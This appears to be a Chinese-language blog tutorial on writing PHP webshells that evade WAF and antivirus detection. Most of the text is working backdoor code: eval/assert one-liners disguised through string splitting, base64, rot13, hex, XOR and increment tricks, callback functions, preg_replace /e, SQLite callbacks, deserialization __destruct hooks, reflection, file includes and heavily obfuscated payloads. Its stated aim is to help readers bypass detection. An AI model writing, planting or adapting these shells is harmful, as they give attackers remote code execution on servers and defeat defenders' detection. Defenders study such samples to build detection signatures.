webshell的深入理解和免杀(PHP)

webshell的概念:

能够接收攻击者的信息指令,并且执行攻击者的指令的程序脚本。
webshell是运行目标服务器上,通过各种方式上传攻击者脚本至目标服务器,使得目标服务器成功解析脚本,从而达到攻击者控制目标服务器的结果。
由此我们可以想到webshell的两个最基础的功能:
1. 可以接收攻击者的指令
2. 可以执行攻击者的指令
本次我们只讨论php下的webshell,其他语言欢迎交流
当然webshell还可以执行很多其他的功能,不过都是这两个基础功能的延伸。
比如最经典的webshell <?php eval('$_POST['keyword']'); ?>
其中eval会将合法的字符串当成代码来执行,而$_POST['keyword'] 则是接收攻击者的指令信息。
总体逻辑为:首先接收攻击者的信息指令,然后调用php中可以执行代码的函数进行执行。简单的webshell可以有很多种形式。,比如不同的接收参数形式,不同的执行函数等

<?php assert($_REQUEST['keyword']); ?>
<?php eval($_GET['keyword']); ?>
.....

WAF是什么

虽然上面的一句话木马简单易用,但是其中存在一个问题:意图太明显了。
如果对于毫无防备的服务器(没有任何waf等),那么你的webshell可以发挥作用,但是如果服务器上已经做了相应的防护措施,那么这么赤裸裸的webshell很容易被waf抓个正着。
所以我们需要伪装webshell,使其绕过waf的检测,但与此同时又保留原来的功能,也就是我们常说的免杀,过狗。
要绕过waf,首先我们得熟悉waf们的检测机制是怎么样的
1. 黑名单匹配检测
waf会有一个特征库,里面存着很多webshell的样例,同时waf会有一套禁用规则,会禁用那些比较危险,容易利用的函数关键字,对于webshell来说可能是eval,assert,base64_decode等,对于xss,sqli 可能是 <script> union select 等等
2. 机器学习检测
现在的waf好像还没有引入机器学习检测技术,由于学过机器学习并且有这方面的项目经验,从机器学习的角度上检测webshell的任务,可以看作为二分类任务,不过传统机器学习需要对数据进行特征工程后,才能将数据给予算法模型训练学习,而在处理webshell这种文本文件的问题上,大多数采用统计词频方法,而词指的也就是函数名,类名,变量名,特殊符号等。其实传统机器学习本质上还是围绕着函数关键字而展开的。
不过还是有一个领域叫做自然语言处理,专门处理语言文本的。当中有一个很有意思的技术,词嵌入技术。词嵌入技术可以将词与词之间的联系映射到数学空间上的向量之间的数学关系。不过我只在url这种小数据量上做过xss,sqli检测实验,成功率高达99%多。但是在处理文本这种比较大数据量的任务上,文本转化为词向量后的矩阵维度会非常高,而且我的分类器是CNN,数量大过于庞大导致难以进行训练,不过有条件的还是可以尝试一下的。
说了这么多无关的(机器学习的),现在waf等还都基于黑名单匹配检测,所以waf理论上来说都是可以绕过的。

webshell的进阶

前面提到说,webshell其实只需要实现两个功能 接受信息执行命令
接受信息和执行命令分别需要使用不同的函数,数组等,所以我们的任务就是利用各种各样的方式将这些函数拆分重组,编码,替换等等一系列操作。
以下部分参考网上资料和klion的博客文章

第一重:拆分重组,动态执行

  • 有执行功能的函数
    system; exec; eval; assert; shell_exec; passthru;popen preg_replace .....
    写webshell的时候我们需要充分利用php语言的特性,从而实现各种花样。比如
    我们可以将函数名拆分为各个变量单元。
  • 拆分重组
    将关键字符串拆分重组从而绕过webshell
<?php $exp= "a"."s"."s"."e"."r"."t";$exp($_GET["Leslie"]); ?>
<?php $exp="ass".'ert'; $exp(${'_PO.ST'}['sz']); ?> // 花括号内执行函数
<?php 
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>       //各种拆分
<?php
function func(){return 'as'.'s'.'ert'}
$a = func();
$a($_GET['leslie']);
>
.....
等等很多都是基于拆分关键字,变形很自由,不过因为形式较简单,很容易被检测
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?>
虽然这个也是拆分重组,但是其中用了字符串替换和反转,可以比较有效的绕过webshell
注释拆分
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
?>
  • 动态执行
    webshell中不写执行函数,而都是通过传参数来实现
<?php $_POST['leslie']($_GET['alex']);?>
<?php $cmd = `$_POST[ch]`;echo "<pre>$cmd</pre>";?>
利用数组:
<?php $arr = array("a"=>"$_POST['fun']");$a = "${ $arr["a"]( $_POST['code'])}"; ?>
利用其他全局变量
<?php @eval($GLOBALS['_POST']['op'])?>;
<?php @eval($_FILE['hello']); ?>

通过拆分和动态执行的方法差不多都是这样,可以在这上互相结合,比如动态执行结合拆分重组等等,不过我们可以有更好的写webshell姿势

第二重:字符编码,进制运算

  • 字符编码
    字符编码中当属base64使用的最为频繁,很多webshell核心就是eval(base64_decode($_POST[cmd])) 因为关键代码被编码,所以webshell难以识别编码中的内容,基本思想就是将base64_decode, $POST等隐藏起来,或者是采取其他字符编码格式
<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>  //结合动态执行

<?php 
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
    eval($s21($s22));
}?> // ### 通过字符串PCT4BA6ODSE_### 得到,$s21### 为base64_decode### ,$s22### 为${"_POST"}['n985de9']### ,所以这种方式最后的代码其实就是eval(base64_decode($_POST['n985de9']));
<?php $a=str_rot13('nffreg');$a($_POST['req']);?> // 采用其他编码格式
<?php  ($req = $_POST['req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>
<?php eval(gzinflate(base64_decode('aything')))?> // 压缩
还有许多其他的编码 比如 urlencode等
还有就是通过自己设计加密算法,比如自己定义一个编码算法,从而使得通信内容只有攻击者才了解。同时,字符编码可以结合很多种其他手法

进制转换
<?php
$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(..... ?>
### 其中$v230c590### 就是base64_decode### ,通过十六进制和八进制混用的方式代替base64_decode
<?php
$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);
?>
### 其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28### 其实为eval(gzuncompress(base64_decode(### 也达到了隐藏敏感函数的目的。
  • 进制运算
    通过异或运算,取反运算等各种位运算形式来构造webshell
<?php 
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST
@${$__}[!$_](${$__}[$_]);
?> 

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
特别的异或运算
这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。需要在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数
<?php $y=~督耽孩^'(1987)';
$y($_POST[1987]);
?>
上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了。
还有如下这种:
<?php $x=~Ÿ¬¬º­«;
$x($_POST[~¹¹ÏÏÏÏ]); ?>
上述的代码需要以ISO-8859-15保存,其中的$x为assert,而~¹¹ÏÏÏÏ是FF0000。即使是这种方式,部分的防护软件还是能够识别。
waf还是很强的!!

自增,自减运算:既然可以使用位运算,那么理论上来说这种也是可行的,不过超级长,人眼很容易识别

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_])
?>

到目前为止,我们所掌握的技术就包括了较为简单的拆分重组动态执行;同时也有大多数webshell使用频繁的技术比如字符编码进制运算等。
利用上述四个技术以各种姿势混合,已经可以得到很好的效果了,不过现在waf进化的也非常厉害,上述技术可能已经被研究得比较透彻了
不过,也有大神开发了写webshell的高级姿势,通过利用脚本语言的各种各样的语言特性,从而实现webshell的功能!而这类webshell往往看起来是比较普通的,换句话来说就是更加贴近于正常的网页代码。
目前代表的技术有 回调函数使用序列化与反序列化利用反射机制混淆加密

重头戏:回调函数,序列化与反序列化利用。

  • 回调函数
    理论上,php中的包含回调函数参数的函数都可以用作为webshell。
  1. 我们首先来看这类函数怎么实现我们想要的功能的,比如最经典的create_functioncreate_function 本身的功能只是创建一个匿名的函数,并没有其他可疑的地方。下面是create_function的具体用法:
    string create_function(string parameter, string code)。我们发现,虽然函数本身性质是好的,但是它会将第二个字符串参数当做代码来执行,导致webshell的形成。
  2. 我们再来看看另一种相似的情况:call_user_func()
    mixed call_user_func(callable $callback, [mixed $parameter]])
    第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。
    本身call_user_func的性质是也是好的,它的功能只是将第一个参数作为回调调用,不过正式因为可以将参数作为函数调用,导致其可以被利用。
    上述所说的两种情况就是所有回调函数的基础,各种各样的回调webshell都是基于这两种情况衍生的
    我们先来详细看第一种情况,字符串参数类型的代码被函数执行
// using create_function
<?php 
$function = 
create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function(); ?>
<?php
$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs='));
$function(); ?>

//通过preg_replace的\e模式下能够执行代码
<?php
@$a = $_POST['x'];
if (isset($a)) {
    @preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));}?>
<?php
function funfunc($str) {}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); ?>
//与preg_replace相似的函数
<?php mb_ereg_replace(".*",$_REQUEST['leslie'], '', 'e') ?>
<?php preg_filter("|.|*|e", $_REQUEST['leslie'], ''); ?>
// 不过/e模式php5.5以后就废弃了,所以且用且珍惜
等等,基本上函数将字符串类型的代码的方式通过这些。
接下来会讲的是第二类,将函数作为回调函数调用执行

作为回调函数调用执行

php中的回调函数非常之多,所以通过这种手法写shell的方式也很多。不过大部分防护软件还是给出了相对应的检测手段,所以我们主要的目的就是发掘一些潜在的回调函数和通过其他手段变换代码。

//最典型的回调函数 
<?php call_user_func('assert', $_POST['LESLIE']); ?>
<?php call_user_func_array('assert', array([$_POST['leslie']])); ?>

// 面向数组对象的回调函数
// 作用原理:函数都会将数组中的每一个值传给回调函数并且执行
<?php 
$e = $_POST['leslie'];
$arr = array($_POST['alex']);
Array_filter($arr, base64_decode($e));
?> 
<?php $fun = $_REQUEST['fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?> 
<?php array_map(callable $callback, array $array); ?>
<?php $arr = new ArrayObject(array('xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>
<?php 
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
?>
<?php 
    $fun = base64_decode($_REQUEST['fun']);
    $arr = array(base64_decode($_POST['code']));
    $arr2 = array(1);
    array_udiff($arr,$arr2,$fun);
?>
<?php
$e = $_POST['leslie'];
$arr = array($_POST['alex']);
Array_reduce($arr, $e, $_POST['LESLIE']);
?>
// 结合动态执行技术
<?php
$e = $_REQUEST['e'];
$arr = array($_REQUEST['pass']=>'|.*|e',);
Array_walk($arr, $e, '') // with preg_replace()
?>
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?> //with preg_replace()


//具有可执行回调函数功能的函数
<?php 
$e = $_POST['leslie'];
Register_shutdown_function($e, $_REQUEST['pass']);
?> // 结合动态执行
<?php 
$e = $_REQUEST['leslie'];
Declare(ticks=1);
Register_tick_function($e, $_REQUEST['pass'])
?> // with dynamically executive 
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
?>
<?php
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

回调函数的传参数格式不为字符串,而是数组等其他方式,比如我们之前接触过的数组回调函数都是取数组中的元素传给回调函数。如果是整个数组传给回调函数的话,我们的命令执行函数assert可能执行不了,所以需要通过下面这种方式,对这种数组参数做一个函数处理,而函数就通过匿名函数

//preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,而assert接受的参数是字符串,所以我们需要构造一个函数
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);?>
//对于mg_ereg_replace_callback 这个函数也类似
<?php
mg_ereg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);?>

//还有就是利用方法,不过大同小异
<?php
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
    echo $item;
}?>

同时,数据库操作与第三方组件中也存在执行回调功能的函数

<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
?> // using SQLite function

<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute(); ?> // using SQLite3 method

//上面的回调webshell都是利用php的扩展库(pdo和sqlite3)实现的,我们还可以利用其他特定扩展库实现webshell
<?php
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
?> // using php_yaml

<?php 
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
?> // using php_memcached 

差不多回调后门的一些利用就是这些了,实际上回调函数是十分灵活的,而且随着php语言的发展,也会有更多类似功能的函数被开发。因为具有回调函数功能此类函数本身性质是好的,所以也使得构造的webshell难以检测。
可以多翻翻php手册,没准就找到一个属于自己回调函数
接下来我们要讲的另一个同样也是很有用的技术 – 序列化与反序列化

序列化与反序列化

首先,我们先介绍一下序列化和反序列化的概念
序列化是将对象的状态信息转换为可以存储或者是传输形式的过程。
简单来说,就是将对象,数组,字符串,数字等等转化为字节流,以便数据的传输。
那么反序列化也就是序列化后的字节流还原为对象,数组,字符串的行为操作。
简单的看个例子:

<?php
class A{
    var $test = "demo";
}

$a = new A();  // 生成a对象
$b = serialize($a);  // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c

print_r($b);   // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // 输出对象c中test的值:demo
?>

了解了序列化与反序列化化后,我们再来了解一下php中的魔法函数,魔法函数以符号开头,这类函数在某些情况下会自动执行,相当于python类中的__init__ 等等。
举个例子,如果序列化对象 类a 存在魔法函数destruct,如果调用unserialize($a),反序列化函数就会自动调用类的魔法函数destruct,也就是析构函数。
利用点:我们可以自己构造一个序列化对象,然后通过构造析构函数,在反序列化过程中的自动执行我们的代码。

<?php 
class foo{
    public $data="text";
    function __destruct()
    {
        eval($this->data);
    }
}
$file_name=$_GET['id'];
unserialize($file_name);
?>
//写好析构函数后,我们需要构造自己的序列化数据,比如 
shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";}
这种形式,我们的命令就可以执行了

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

反序列化也可以结合上述其他技术来构造webshell
目前为止,我们已经接触了回调函数反序列化技术的利用,很多很隐蔽的webshell都是通过这种技巧而实现的,而且两者的潜力还十分大,还有很多挖掘的空间
介绍完了重头戏,我们再介绍一下其他各种各样的花式技巧~~

利用文件名&注释
//巧用文件名 no_assert.php
<?php
${"function"}=substr(*__FILE__*,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);
?>
//$function就是assert,这样就形成了assert($_POST[cmd]);。

//$_POST[cmd].php
<?php
${"function"}= substr(*__FILE__*, -15, -4);
${"config"} = assert;
$config($function);
?>
这个是将$_POST[cmd]放置在文件名中进行隐藏,同样可以达到隐藏的目的。 
自定义函数与加密
//十六进制执行
<?php
$string='';
$password='test';
if(isset($_POST[$password])){
    $hex=$_POST[$password];
    for($i=0;$i<strlen($hex)-1;$i+=2){
    $string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
?>
### 只需要将传入的指令变为16进制的字符串即可。shell.php?test=706870696e666f28293b。其中的706870696e666f28293b就是phpinfo();的十六进制,用法和普通的webshell没有区别。
\\自定义加密
<?php
function decode($string) {
    $result = '';
    for($index=0;$index<strlen($string);$index += 1) {
        $result .= chr(ord($string[$index])-3);
    }
    return $result;
}
$b = create_function('',decode("Chydo+'bSRVW^fpg`,>"));
$b();
// 这个加密函数十分的简单,仅仅是将字母的ascii值减3而已,算是比较简单的加密算法。
decode("Chydo+'bSRVW^fpg`,>")
// 得到就是@eval($_POST[cmd]);### 。
?>
反射技术
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(*array*($_GET[c]));
?>
// 这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));
?>
// 不过防护软件已经可以识别反射技术的webshell了
文件包含
//上传一个txt等文本文件,然后再用php文件包含的特性
<?php include './include_shell.txt'?>
//include_shell.txt
<?php
$e = $_POST['leslie'];
Eval($e);
?>
// 有可能有些waf不检测txt后缀等文件
session机制
<?php 
session_start();$_SESSION['cmd'] = trim($_POST['code']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
?>
// 主要是通过session机制上的绕过,不过也是比较容易被检测出来
文件加密

加密的方式非常多,有许多开源的webshell工具和加密方式可以选择,一般加密方式会让waf难以识别,十分的有效。

  • 混淆加密
//上面提到过的技术,通过各种位运算,拆分重组等进行的混淆加密
$M_='TcynUS2Dj'|Xtt1C5;$xPAsA3='|L#K1)'^'=`'.tosl;$ps6U8r2u='S R'|'Z @';'F_fTJ4U3M'.
    ')u(<I9';$ots8zM7=wwugn.'~'&outg."~~";$CqHZRjrpv='om~}ov'&'owv}~w';$pmak=/*OYR'.
    'HF]mwSAu~*/oZD5t.'-'.TouvRdijg|'M at~`K*$jqr!-)';$Nkm4DL=wwoiuw_o.#jDj9F8qWCU'.
    '}og~oo~'&ssoyww_vw.'~'.wtoo.'~';$sSZ1ZTtXOI='J~DQ}e'&iUTZ.']C';$enZB='wfq/Wc<'.
    '.g!17}x`1qs@#1g)=a=79'.mc56&"!|7".aLxt2a."{y#93V7;;C;~m uO3;q;{v2";'gyxK39Xu1'.
    ':i^';$woW8PBSb_J='?g~v$z~a,w'&'vo?.us|{4k';$hefSTat73='ko7|;uw?'&'S}w?'./*Usx'.
    '>XUb.*/wuuo;$H31KYF='-(Y%;L8@'|'-(|lz@2f';$oRzY9cesWL=BrvDsY^'cS=p2;';'djCAxk'.
    'zX~lO=:nK5';$jKRFmGwxTPb='sl[GUs'^'6(#%~)';$cQZ75FbYVQT=':(&.'.Z5qdh^/*KudDMp'.
    'LtxJEC*/bkcTlp7.'$)';$ZNh7cpA=J^'+';$VRcphf2Y1='+'|K;$fXLKDzG='(C'^'M;';'dHaM'.
    ']9|ds5tbb';$I5Hmeo7gVJ=E^",";$mwo7=w&t;$TvUYRhtThs="^".TVW_."|_]".u__CURu./*j'.
    'l*/"{H"&"Iv|".x_Z_UZ_wyRq_Wz;$ypaVtIfRO=']'.SEBTRE|WPEAUR.'@';$TegpU9P5=('3Zw'.
    'g/5'&'zx-G/w')^$xPAsA3;$rM36yFVDxOo=('$Df'|'6Dc')^$ps6U8r2u;$iG7yrwzXUiW=/*cL'.
    'srxQMMk*/$ots8zM7&$CqHZRjrpv;$qioLnlc=('7w,c/"YQ#a`p'^'i@c-'.IeimeU48)^(',E"!'.
    '!!TH(E",'|'.D()95EL*T5-');$Pl=$pmak&$Nkm4DL;$rF0oYXqV9=('HDP@O@'|'HDD@F@')|/*'.
    'f*/$sSZ1ZTtXOI;$hLZSKz9=("||=6".tB5s."#;(7i}%-d2|".r6O67a."!h-:j0&"&'4&2=)f5;'.
    '%}ev:2%9*5'.ebteyl.',g61<E#s')|$enZB;$Z61ppy=$ZNh7cpA&$VRcphf2Y1;$ZHU=/*fE9Yr'.
    '7q?{!W*/$woW8PBSb_J&('?'.qldtjo.'</w'&'-'.snkdo.'?yoo');$PhcCKxq=/*XeLXi26ULV'.
    'pri*/$hefSTat73^$H31KYF;$emJm_U=$oRzY9cesWL^$jKRFmGwxTPb;$FTGoqvnK=/*a5xj88EI'.
    'n(am7*/$cQZ75FbYVQT|('5;]+`'.lexH^'}k8{DLK:-');*if*($TegpU9P5($rM36yFVDxOo(/*TA'.
    '(^q.4;*/$iG7yrwzXUiW($rF0oYXqV9)),$hLZSKz9))$qioLnlc(('{/Z_'^'TNu:'),/*qwCzim'.
    'JQ7+5)JTBF*/$fXLKDzG.$I5Hmeo7gVJ.$mwo7,$Z61ppy);$yX4gTiSd=$Pl($ZHU,/*BtAiX0w8'.
    '7*LALb~*/$iG7yrwzXUiW($TvUYRhtThs.$ypaVtIfRO));$yX4gTiSd($PhcCKxq,$emJm_U,/*p'.
    '}R*/$FTGoqvnK);#T)s<k?vZ%Nx[VsvNLg<sQ8KlP!D{*nm306rhxT95kZ5CMe=YJ*V3cTstah.t'.
    'HD PDe:F{4#Wplm 1BLh0FD7*@?;aZJQnFF1$zR';
?>

//看得出这个混淆加密真的是,谁看得懂是什么
// 不过这种webshell也有不好的地方,就是一下子就被人看出来了
  • 使用加密工具加密
    国内的工具还是有很多的,包括phpjm,phpjiami通过测试,即使是最为简单的@eval($_POST[cmd]),经过加密之后还是很多防护软件无法识别出webshell。
weevely

介绍一下 weevely 很多人用webshell都是用weevely生成的。
weevely 主要用的是base64方式编码技术加混淆

总结

本文先是解释了webshell的基本原理和基础功能,并且也了解我们的主要对手waf的主要防御措施和防御技术。针对于waf的防御技术,提出了一些基础的绕过waf检测的技术手段,比如拆分重组动态执行
在这基础之上,我们进一步利用各种花式的技术手段,比如字符编码进制运算,不过这些变换都比较简单,且意图目前,容易被waf识别,同时人工识别也十分容易。
进而我们通过挖掘php语言内在的函数特性,比如回调函数反序列化和序列化等,这类技术的运用使得webshell具有很好的隐蔽性,并且难以被waf识别。最后我们介绍了各种各样非主流花式技巧,提高了我们在编写webshell时候的代码灵活性,有助于我们更好地绕过waf!
希望本文章能对大家写webshell方面的思路有所启发,感谢网上各位大神的知识资料和分享,为我提供了很多帮助。

参考资料
1. https://www.freebuf.com/articles/web/155891.html
2. https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/#menu
3. https://www.cnblogs.com/zydj333/p/6951002.html
4. https://xz.aliyun.com/t/2202
5. https://blog.csdn.net/qq_27446553/article/details/48622495
6. https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html